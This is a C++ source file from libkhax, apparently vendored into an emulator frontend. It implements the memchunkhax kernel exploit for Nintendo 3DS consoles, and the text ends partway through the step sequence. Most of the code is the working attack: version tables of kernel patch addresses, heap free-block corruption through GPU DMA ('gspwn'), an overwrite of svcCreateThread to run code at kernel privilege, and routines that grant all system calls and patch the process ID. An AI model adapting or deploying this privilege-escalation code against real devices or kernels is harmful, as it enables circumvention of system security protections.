(vita) build fix (cont).
[pcsx_rearmed.git] / frontend / 3ds / libkhax / khaxinit.cpp
1 #include <3ds.h>\r
2 #include <cstddef>\r
3 #include <cstdint>\r
4 #include <cstdio>\r
5 #include <cstdlib>\r
6 #include <cstring>\r
7 #include <limits>\r
8 \r
9 #include "khax.h"\r
10 #include "khaxinternal.h"\r
11 \r
12 //------------------------------------------------------------------------------------------------\r
13 namespace KHAX\r
14 {\r
15         //------------------------------------------------------------------------------------------------\r
16         // Kernel and hardware version information.\r
17         struct VersionData\r
18         {\r
19                 // New 3DS?\r
20                 bool m_new3DS;\r
21                 // Kernel version number\r
22                 u32 m_kernelVersion;\r
23                 // Nominal version number lower bound (for informational purposes only)\r
24                 u32 m_nominalVersion;\r
25                 // Patch location in svcCreateThread\r
26                 u32 m_threadPatchAddress;\r
27                 // Original version of code at m_threadPatchAddress\r
28                 static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;\r
29                 // System call unlock patch location\r
30                 u32 m_syscallPatchAddress;\r
31                 // Kernel virtual address mapping of FCRAM\r
32                 u32 m_fcramVirtualAddress;\r
33                 // Physical mapping of FCRAM on this machine\r
34                 static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;\r
35                 // Physical size of FCRAM on this machine\r
36                 u32 m_fcramSize;\r
37                 // Address of KThread address in kernel (KThread **)\r
38                 static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);\r
39                 // Address of KProcess address in kernel (KProcess **)\r
40                 static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);\r
41                 // Pseudo-handle of the current KProcess.\r
42                 static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;\r
43                 // Returned pointers within a KProcess object.  This abstracts out which particular\r
44                 // version of the KProcess object is in use.\r
45                 struct KProcessPointers\r
46                 {\r
47                         KSVCACL *m_svcAccessControl;\r
48                         u32 *m_kernelFlags;\r
49                         u32 *m_processID;\r
50                 };\r
51                 // Creates a KProcessPointers for this kernel version and pointer to the object.\r
52                 KProcessPointers(*m_makeKProcessPointers)(void *kprocess);\r
53 \r
54                 // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
55                 // address using the version-specific information in this table entry.\r
56                 void *ConvertLinearUserVAToKernelVA(void *address) const;\r
57 \r
58                 // Retrieve a VersionData for this kernel, or null if not recognized.\r
59                 static const VersionData *GetForCurrentSystem();\r
60 \r
61         private:\r
62                 // Implementation behind m_makeKProcessPointers.\r
63                 template <typename KProcessType>\r
64                 static KProcessPointers MakeKProcessPointers(void *kprocess);\r
65 \r
66                 // Table of these.\r
67                 static const VersionData s_versionTable[];\r
68         };\r
69 \r
70         //------------------------------------------------------------------------------------------------\r
71         // ARM11 kernel hack class.\r
72         class MemChunkHax\r
73         {\r
74         public:\r
75                 // Construct using the version information for the current system.\r
76                 MemChunkHax(const VersionData *versionData)\r
77                 :       m_versionData(versionData),\r
78                         m_nextStep(1),\r
79                         m_corrupted(0),\r
80                         m_overwriteMemory(nullptr),\r
81                         m_overwriteAllocated(0),\r
82                         m_extraLinear(nullptr)\r
83                 {\r
84                         s_instance = this;\r
85                 }\r
86 \r
87                 // Free memory and such.\r
88                 ~MemChunkHax();\r
89 \r
90                 // Umm, don't copy this class.\r
91                 MemChunkHax(const MemChunkHax &) = delete;\r
92                 MemChunkHax &operator =(const MemChunkHax &) = delete;\r
93 \r
94                 // Basic initialization.\r
95                 Result Step1_Initialize();\r
96                 // Allocate linear memory for the memchunkhax operation.\r
97                 Result Step2_AllocateMemory();\r
98                 // Free the second and fourth pages of the five.\r
99                 Result Step3_SurroundFree();\r
100                 // Verify that the freed heap blocks' data matches our expected layout.\r
101                 Result Step4_VerifyExpectedLayout();\r
102                 // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
103                 Result Step5_CorruptCreateThread();\r
104                 // Execute svcCreateThread to execute code at SVC privilege.\r
105                 Result Step6_ExecuteSVCCode();\r
106                 // Grant access to all services.\r
107                 Result Step7_GrantServiceAccess();\r
108 \r
109         private:\r
110                 // SVC-mode entry point thunk (true entry point).\r
111                 static Result Step6a_SVCEntryPointThunk();\r
112                 // SVC-mode entry point.\r
113                 Result Step6b_SVCEntryPoint();\r
114                 // Undo the code patch that Step5_CorruptCreateThread did.\r
115                 Result Step6c_UndoCreateThreadPatch();\r
116                 // Fix the heap corruption caused as a side effect of step 5.\r
117                 Result Step6d_FixHeapCorruption();\r
118                 // Grant our process access to all system calls, including svcBackdoor.\r
119                 Result Step6e_GrantSVCAccess();\r
120                 // Flush instruction and data caches.\r
121                 Result Step6f_FlushCaches();\r
122                 // Patch the process ID to 0.  Runs as svcBackdoor.\r
123                 static Result Step7a_PatchPID();\r
124                 // Restore the original PID.  Runs as svcBackdoor.\r
125                 static Result Step7b_UnpatchPID();\r
126 \r
127                 // Helper for dumping memory to SD card.\r
128                 template <std::size_t S>\r
129                 bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;\r
130 \r
131                 // Result returned by hacked svcCreateThread upon success.\r
132                 static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;\r
133 \r
134                 // Version information.\r
135                 const VersionData *const m_versionData;\r
136                 // Next step number.\r
137                 int m_nextStep;\r
138                 // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.\r
139                 int m_corrupted;\r
140 \r
141                 // Free block structure in the kernel, the one used in the memchunkhax exploit.\r
142                 struct HeapFreeBlock\r
143                 {\r
144                         int m_count;\r
145                         HeapFreeBlock *m_next;\r
146                         HeapFreeBlock *m_prev;\r
147                         int m_unknown1;\r
148                         int m_unknown2;\r
149                 };\r
150 \r
151                 // The layout of a memory page.\r
152                 union Page\r
153                 {\r
154                         unsigned char m_bytes[4096];\r
155                         HeapFreeBlock m_freeBlock;\r
156                 };\r
157 \r
158                 // The linear memory allocated for the memchunkhax overwrite.\r
159                 struct OverwriteMemory\r
160                 {\r
161                         union\r
162                         {\r
163                                 unsigned char m_bytes[6 * 4096];\r
164                                 Page m_pages[6];\r
165                         };\r
166                 };\r
167                 OverwriteMemory *m_overwriteMemory;\r
168                 unsigned m_overwriteAllocated;\r
169 \r
170                 // Additional linear memory buffer for temporary purposes.\r
171                 union ExtraLinearMemory\r
172                 {\r
173                         ALIGN(64) unsigned char m_bytes[64];\r
174                         // When interpreting as a HeapFreeBlock.\r
175                         HeapFreeBlock m_freeBlock;\r
176                 };\r
177                 // Must be a multiple of 16 for use with gspwn.\r
178                 static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");\r
179                 ExtraLinearMemory *m_extraLinear;\r
180 \r
181                 // Copy of the old ACL\r
182                 KSVCACL m_oldACL;\r
183 \r
184                 // Original process ID.\r
185                 u32 m_originalPID;\r
186 \r
187                 // Buffers for dumped data when debugging.\r
188         #ifdef KHAX_DEBUG_DUMP_DATA\r
189                 unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];\r
190                 unsigned char m_savedKThread[sizeof(KThread)];\r
191                 unsigned char m_savedThreadSVC[0x100];\r
192         #endif\r
193 \r
194                 // Pointer to our instance.\r
195                 static MemChunkHax *volatile s_instance;\r
196         };\r
197 \r
198         //------------------------------------------------------------------------------------------------\r
199         // Make an error code\r
200         inline Result MakeError(Result level, Result summary, Result module, Result error);\r
201         enum : Result { KHAX_MODULE = 254 };\r
202         // Check whether this system is a New 3DS.\r
203         Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);\r
204         // gspwn, meant for reading from or writing to freed buffers.\r
205         Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);\r
206         // Given a pointer to a structure that is a member of another structure,\r
207         // return a pointer to the outer structure.  Inspired by Windows macro.\r
208         template <typename Outer, typename Inner>\r
209         Outer *ContainingRecord(Inner *member, Inner Outer::*field);\r
210 }\r
211 \r
212 \r
213 //------------------------------------------------------------------------------------------------\r
214 //\r
215 // Class VersionData\r
216 //\r
217 \r
218 //------------------------------------------------------------------------------------------------\r
219 // Creates a KProcessPointers for this kernel version and pointer to the object.\r
220 template <typename KProcessType>\r
221 KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)\r
222 {\r
223         KProcessType *kproc = static_cast<KProcessType *>(kprocess);\r
224 \r
225         KProcessPointers result;\r
226         result.m_svcAccessControl = &kproc->m_svcAccessControl;\r
227         result.m_processID = &kproc->m_processID;\r
228         result.m_kernelFlags = &kproc->m_kernelFlags;\r
229         return result;\r
230 }\r
231 \r
232 //------------------------------------------------------------------------------------------------\r
233 // System version table\r
234 const KHAX::VersionData KHAX::VersionData::s_versionTable[] =\r
235 {\r
236 #define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>\r
237 \r
238         // Old 3DS, old address layout\r
239         { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
240         { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
241         { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
242         { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
243         { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
244         { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
245         { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
246         // Old 3DS, new address layout\r
247         { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
248         { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
249         // New 3DS\r
250         { true,  SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested\r
251         { true,  SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },\r
252 \r
253 #undef KPROC_FUNC\r
254 };\r
255 \r
256 //------------------------------------------------------------------------------------------------\r
257 // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
258 // address using the version-specific information in this table entry.\r
259 void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const\r
260 {\r
261         static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),\r
262                 "you're sure that this is a 3DS?");\r
263 \r
264         // Need the pointer as an integer.\r
265         u32 addr = reinterpret_cast<u32>(address);\r
266 \r
267         // Convert the address to a physical address, since that's how we know the mapping.\r
268         u32 physical = osConvertVirtToPhys(addr);\r
269         if (physical == 0)\r
270         {\r
271                 return nullptr;\r
272         }\r
273 \r
274         // Verify that the address is within FCRAM.\r
275         if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))\r
276         {\r
277                 return nullptr;\r
278         }\r
279 \r
280         // Now we can convert.\r
281         return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);\r
282 }\r
283 \r
284 //------------------------------------------------------------------------------------------------\r
285 // Retrieve a VersionData for this kernel, or null if not recognized.\r
286 const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()\r
287 {\r
288         // Get kernel version for comparison.\r
289         u32 kernelVersion = osGetKernelVersion();\r
290 \r
291         // Determine whether this is a New 3DS.\r
292         bool isNew3DS;\r
293         if (IsNew3DS(&isNew3DS, kernelVersion) != 0)\r
294         {\r
295                 return nullptr;\r
296         }\r
297 \r
298         // Search our list for a match.\r
299         for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)\r
300         {\r
301                 // New 3DS flag must match.\r
302                 if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))\r
303                 {\r
304                         continue;\r
305                 }\r
306                 // Kernel version must match.\r
307                 if (entry->m_kernelVersion != kernelVersion)\r
308                 {\r
309                         continue;\r
310                 }\r
311 \r
312                 return entry;\r
313         }\r
314 \r
315         return nullptr;\r
316 }\r
317 \r
318 \r
319 //------------------------------------------------------------------------------------------------\r
320 //\r
321 // Class MemChunkHax\r
322 //\r
323 \r
324 //------------------------------------------------------------------------------------------------\r
325 KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;\r
326 \r
327 //------------------------------------------------------------------------------------------------\r
328 // Basic initialization.\r
329 Result KHAX::MemChunkHax::Step1_Initialize()\r
330 {\r
331         if (m_nextStep != 1)\r
332         {\r
333                 KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);\r
334                 return MakeError(28, 5, KHAX_MODULE, 1016);\r
335         }\r
336 \r
337         // Nothing to do in current implementation.\r
338         ++m_nextStep;\r
339         return 0;\r
340 }\r
341 \r
342 //------------------------------------------------------------------------------------------------\r
343 // Allocate linear memory for the memchunkhax operation.\r
344 Result KHAX::MemChunkHax::Step2_AllocateMemory()\r
345 {\r
346         if (m_nextStep != 2)\r
347         {\r
348                 KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);\r
349                 return MakeError(28, 5, KHAX_MODULE, 1016);\r
350         }\r
351 \r
352         // Allocate the linear memory for the overwrite process.\r
353         u32 address = 0xFFFFFFFF;\r
354         Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,\r
355                 static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));\r
356 \r
357         KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);\r
358 \r
359         if (result != 0)\r
360         {\r
361                 return result;\r
362         }\r
363 \r
364         m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);\r
365         m_overwriteAllocated = (1u << 6) - 1;  // all 6 pages allocated now\r
366 \r
367         // Why didn't we get a page-aligned address?!\r
368         if (address & 0xFFF)\r
369         {\r
370                 // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.\r
371                 KHAX_printf("Step2:misaligned memory\n");\r
372                 return MakeError(26, 7, KHAX_MODULE, 1009);\r
373         }\r
374 \r
375         // Allocate extra memory that we'll need.\r
376         m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),\r
377                 alignof(*m_extraLinear)));\r
378         if (!m_extraLinear)\r
379         {\r
380                 KHAX_printf("Step2:failed extra alloc\n");\r
381                 return MakeError(26, 3, KHAX_MODULE, 1011);\r
382         }\r
383         KHAX_printf("Step2:extra=%p\n", m_extraLinear);\r
384 \r
385         // OK, we're good here.\r
386         ++m_nextStep;\r
387         return 0;\r
388 }\r
389 \r
390 //------------------------------------------------------------------------------------------------\r
391 // Free the second and fourth pages of the five.\r
392 Result KHAX::MemChunkHax::Step3_SurroundFree()\r
393 {\r
394         if (m_nextStep != 3)\r
395         {\r
396                 KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);\r
397                 return MakeError(28, 5, KHAX_MODULE, 1016);\r
398         }\r
399 \r
400         // We do this because the exploit involves triggering a heap coalesce.  We surround a heap\r
401         // block (page) with two freed pages, then free the middle page.  By controlling both outside\r
402         // pages, we know their addresses, and can fix up the corrupted heap afterward.\r
403         //\r
404         // Here's what the heap will look like after step 3:\r
405         //\r
406         // ___XX-X-X___\r
407         //\r
408         // _ = unknown (could be allocated and owned by other code)\r
409         // X = allocated\r
410         // - = allocated then freed by us\r
411         //\r
412         // In step 4, we will free the second page:\r
413         //\r
414         // ___X--X-X___\r
415         //\r
416         // Heap coalescing will trigger due to two adjacent free blocks existing.  The fifth page's\r
417         // "previous" pointer will be set to point to the second page rather than the third.  We will\r
418         // use gspwn to make that overwrite kernel code instead.\r
419         //\r
420         // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little\r
421         // sandbox to play in.  In particular, we can use this design to determine the address of the\r
422         // next block--by controlling the location of the next block.\r
423         u32 dummy;\r
424 \r
425         // Free the third page.\r
426         if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,\r
427                 sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
428         {\r
429                 KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);\r
430                 return result;\r
431         }\r
432         m_overwriteAllocated &= ~(1u << 2);\r
433 \r
434         // Free the fifth page.\r
435         if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,\r
436                 sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
437         {\r
438                 KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);\r
439                 return result;\r
440         }\r
441         m_overwriteAllocated &= ~(1u << 4);\r
442 \r
443         // Attempt to write to remaining pages.\r
444         //KHAX_printf("Step2:probing page [0]\n");\r
445         *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;\r
446         //KHAX_printf("Step2:probing page [1]\n");\r
447         *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;\r
448         //KHAX_printf("Step2:probing page [3]\n");\r
449         *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;\r
450         //KHAX_printf("Step2:probing page [5]\n");\r
451         *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;\r
452         KHAX_printf("Step3:probing done\n");\r
453 \r
454         // Done.\r
455         ++m_nextStep;\r
456         return 0;\r
457 }\r
458 \r
459 //------------------------------------------------------------------------------------------------\r
460 // Verify that the freed heap blocks' data matches our expected layout.\r
461 Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()\r
462 {\r
463         if (m_nextStep != 4)\r
464         {\r
465                 KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);\r
466                 return MakeError(28, 5, KHAX_MODULE, 1016);\r
467         }\r
468 \r
469         // Copy the first freed page (third page) out to read its heap metadata.\r
470         std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
471 \r
472         if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],\r
473                 sizeof(*m_extraLinear)))\r
474         {\r
475                 KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
476                 return result;\r
477         }\r
478 \r
479         // Debug information about the memory block\r
480         KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->\r
481                 ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));\r
482         KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
483                 m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
484 \r
485         // The next page from the third should equal the fifth page.\r
486         if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(\r
487                 &m_overwriteMemory->m_pages[4]))\r
488         {\r
489                 KHAX_printf("Step4:[2]->next != [4]\n");\r
490                 KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,\r
491                         m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),\r
492                         &m_overwriteMemory->m_pages[4]);\r
493                 return MakeError(26, 5, KHAX_MODULE, 1014);\r
494         }\r
495 \r
496         // Copy the second freed page (fifth page) out to read its heap metadata.\r
497         std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
498 \r
499         if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],\r
500                 sizeof(*m_extraLinear)))\r
501         {\r
502                 KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
503                 return result;\r
504         }\r
505 \r
506         KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->\r
507                 ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));\r
508         KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
509                 m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
510 \r
511         // The previous page from the fifth should equal the third page.\r
512         if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(\r
513                 &m_overwriteMemory->m_pages[2]))\r
514         {\r
515                 KHAX_printf("Step4:[4]->prev != [2]\n");\r
516                 KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,\r
517                         m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),\r
518                         &m_overwriteMemory->m_pages[2]);\r
519                 return MakeError(26, 5, KHAX_MODULE, 1014);\r
520         }\r
521 \r
522         // Validation successful\r
523         ++m_nextStep;\r
524         return 0;\r
525 }\r
526 \r
527 //------------------------------------------------------------------------------------------------\r
528 // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
529 Result KHAX::MemChunkHax::Step5_CorruptCreateThread()\r
530 {\r
531         if (m_nextStep != 5)\r
532         {\r
533                 KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);\r
534                 return MakeError(28, 5, KHAX_MODULE, 1016);\r
535         }\r
536 \r
537         // Read the memory page we're going to gspwn.\r
538         if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,\r
539                 sizeof(*m_extraLinear)))\r
540         {\r
541                 KHAX_printf("Step5:gspwn read failed:%08lx\n", result);\r
542                 return result;\r
543         }\r
544 \r
545         // Adjust the "next" pointer to point to within the svcCreateThread system call so as to\r
546         // corrupt certain instructions.  The result will be that calling svcCreateThread will result\r
547         // in executing our code.\r
548         // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.\r
549         // That is, the overwrite adds this offset back in.\r
550         m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(\r
551                 m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));\r
552 \r
553         // Do the GSPwn, the actual exploit we've been waiting for.\r
554         if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,\r
555                 sizeof(*m_extraLinear)))\r
556         {\r
557                 KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);\r
558                 return result;\r
559         }\r
560 \r
561         // The heap is now corrupted in two ways (Step6 explains why two ways).\r
562         m_corrupted += 2;\r
563 \r
564         KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");\r
565 \r
566         // Corrupt svcCreateThread by freeing the second page.  The kernel will coalesce the third\r
567         // page into the second page, and in the process zap an instruction pair in svcCreateThread.\r
568         u32 dummy;\r
569         if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),\r
570                 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
571         {\r
572                 KHAX_printf("Step5:free to pwn failed:%08lx\n", result);\r
573                 return result;\r
574         }\r
575         m_overwriteAllocated &= ~(1u << 1);\r
576 \r
577         // We have an additional layer of instability because of the kernel code overwrite.\r
578         ++m_corrupted;\r
579 \r
580         KHAX_printf("Step5:svcCreateThread now hacked\n");\r
581 \r
582         ++m_nextStep;\r
583         return 0;\r
584 }\r
585 \r
586 //------------------------------------------------------------------------------------------------\r
587 // Execute svcCreateThread to execute code at SVC privilege.\r
588 Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()\r
589 {\r
590         if (m_nextStep != 6)\r
591         {\r
592                 KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);\r
593                 return MakeError(28, 5, KHAX_MODULE, 1016);\r
594         }\r
595 \r
596         // Call svcCreateThread such that r0 is the desired exploit function.  Note that the\r
597         // parameters to the usual system call thunk are rearranged relative to the actual system call\r
598         // - the thread priority parameter is actually the one that goes into r0.  In addition, we\r
599         // want to pass other parameters that make for an illegal thread creation request, because the\r
600         // rest of the thread creation SVC occurs before the hacked code gets executed.  We want the\r
601         // thread creation request to fail, then the hack to grant us control.  Processor ID\r
602         // 0x7FFFFFFF seems to do the trick here.\r
603         Handle dummyHandle;\r
604         Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(\r
605                 Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());\r
606 \r
607         KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);\r
608 \r
609         if (result != STEP6_SUCCESS_RESULT)\r
610         {\r
611                 // If the result was 0, something actually went wrong.\r
612                 if (result == 0)\r
613                 {\r
614                         result = MakeError(27, 11, KHAX_MODULE, 1023);\r
615                 }\r
616 \r
617                 return result;\r
618         }\r
619 \r
620 #ifdef KHAX_DEBUG\r
621         char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];\r
622         char *sp = oldACLString;\r
623         for (unsigned char b : m_oldACL)\r
624         {\r
625                 *sp++ = "0123456789abcdef"[b >> 4];\r
626                 *sp++ = "0123456789abcdef"[b & 15];\r
627         }\r
628         *sp = '\0';\r
629 \r
630         KHAX_printf("oldACL:%s\n", oldACLString);\r
631 #endif\r
632 \r
633         ++m_nextStep;\r
634         return 0;\r
635 }\r
636 \r
637 //------------------------------------------------------------------------------------------------\r
638 // SVC-mode entry point thunk (true entry point).\r
639 #ifndef _MSC_VER\r
640 __attribute__((__naked__))\r
641 #endif\r
642 Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()\r
643 {\r
644         __asm__ volatile("add sp, sp, #8");\r
645 \r
646         register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();\r
647 \r
648         __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));\r
649 }\r
650 \r
651 //------------------------------------------------------------------------------------------------\r
652 // SVC-mode entry point.\r
653 #ifndef _MSC_VER\r
654 __attribute__((__noinline__))\r
655 #endif\r
656 Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()\r
657 {\r
658         if (Result result = Step6c_UndoCreateThreadPatch())\r
659         {\r
660                 return result;\r
661         }\r
662         if (Result result = Step6d_FixHeapCorruption())\r
663         {\r
664                 return result;\r
665         }\r
666         if (Result result = Step6e_GrantSVCAccess())\r
667         {\r
668                 return result;\r
669         }\r
670         if (Result result = Step6f_FlushCaches())\r
671         {\r
672                 return result;\r
673         }\r
674 \r
675         return STEP6_SUCCESS_RESULT;\r
676 }\r
677 \r
678 //------------------------------------------------------------------------------------------------\r
679 // Undo the code patch that Step5_CorruptCreateThread did.\r
680 Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()\r
681 {\r
682         // Unpatch svcCreateThread.  NOTE: Misaligned pointer.\r
683         *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->\r
684                 m_threadPatchOriginalCode;\r
685         --m_corrupted;\r
686 \r
687         return 0;\r
688 }\r
689 \r
690 //------------------------------------------------------------------------------------------------\r
691 // Fix the heap corruption caused as a side effect of step 5.\r
692 Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()\r
693 {\r
694         // The kernel's heap coalesce code seems to be like the following for the case we triggered,\r
695         // where we're freeing a block before ("left") an adjacent block ("right"):\r
696         //\r
697         // (1)  left->m_count += right->m_count;\r
698         // (2)  left->m_next = right->m_next;\r
699         // (3)  right->m_next->m_prev = left;\r
700         //\r
701         // (1) should have happened normally.  (3) is what we exploit: we set right->m_next to point\r
702         // to where we want to patch, such that the write to m_prev is the desired code overwrite.\r
703         // (2) is copying the value we put into right->m_next to accomplish (3).\r
704         //\r
705         // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to\r
706         // point to the correct next free block, and do the write to right->m_next->m_prev that didn't\r
707         // happen because it instead was writing to kernel code.\r
708 \r
709         // "left" is the second overwrite page.\r
710         auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
711                 &m_overwriteMemory->m_pages[1].m_freeBlock));\r
712         // "right->m_next" is the fifth overwrite page.\r
713         auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
714                 &m_overwriteMemory->m_pages[4].m_freeBlock));\r
715 \r
716         // Do the two fixups.\r
717         left->m_next = rightNext;\r
718         --m_corrupted;\r
719 \r
720         rightNext->m_prev = left;\r
721         --m_corrupted;\r
722 \r
723         return 0;\r
724 }\r
725 \r
726 //------------------------------------------------------------------------------------------------\r
